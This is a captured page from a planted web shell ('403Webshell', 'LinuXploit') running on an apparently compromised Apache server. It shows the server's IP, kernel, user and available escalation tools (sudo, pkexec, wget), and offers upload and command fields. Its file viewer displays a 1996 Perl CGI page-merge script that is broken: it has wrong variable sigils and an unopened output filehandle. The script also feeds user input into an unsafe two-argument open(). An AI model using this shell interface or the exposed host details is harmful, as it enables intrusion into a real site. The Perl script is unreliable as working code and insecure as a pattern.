403Webshell
Server IP : 209.205.66.10  /  Your IP : 216.73.216.173
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ammon 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User :  ( 1006)
PHP Version : 8.5.8
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/dpeters/public_html/investment/new/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/dpeters/public_html/investment/new/merge.pl
#!/usr/local/bin/perl

#################################################################################################
# Page Merger
# Ben Christensen (benjc@ocii.com)
# Created July 31 1996
#
#
#
#
#################################################################################################

$template='/web/htdocs/investments/profile-template.html';
$filedir='/web/htdocs/profiles';
$whichfile=$ARGV[0];

$file="&filedir/&whichfile";
#################################################################################################


open(BOOK, "$file") || die "Content-type: text/plain\n\n Could not open $book";
@contents=<BOOK>;	#get contents of file so we can add this to the template.
close(BOOK);


open(TEMPLATE, "$template") || die "Content-type: text/plain\n\n Could not open $book";
@tempcontents=<TEMPLATE>;	#get contents of Guestbook so you can add this entry to it.
close(TEMPLATE);



open(TEMPLATE2, "$template");
foreach $line (@tempcontents)
{
	if($line =~ /<!--Do not change or get rid of this line-->/)	#print new entry after this line
	{
		print BOOK2 "$line\n\n";
		print BOOK2 "<\!\-\-Begin Entry\-\->\n";
#print contents from file into this template.
		print "@contents";

		print BOOK2 "<\!\-\-End Entry\-\->\n";
	}
	else
	{
		print BOOK2 $line;
	}
}
close(TEMPLATE2);


#################################################################################################
exit 0;
#################################################################################################

Youez - 2016 - github.com/yon3zu
LinuXploit